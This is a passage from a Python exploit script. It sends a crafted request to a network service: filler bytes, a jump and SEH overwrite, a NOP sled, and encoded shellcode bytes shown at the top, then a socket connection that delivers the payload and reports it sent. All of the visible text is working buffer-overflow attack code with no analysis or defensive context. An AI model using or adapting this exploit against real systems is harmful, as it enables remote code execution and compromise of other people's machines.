buf += b"\xb1\xef\xd3\x98\xdf\x0f\x0e\xde\xd9\x93\xba\x9f\x1d"
buf += b"\x8b\xcf\x9a\x5a\x0b\x3c\xd7\xf3\xfe\x42\x44\xf3\x2a"
buffer = "USV /.:/" + "A" * (962-len(JMP)) + JMP + SEH + "\x90" * 10 + buf + "C" * (5000 - 962 - len(JMP) - len(SEH) - 10 - len(buf)) + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()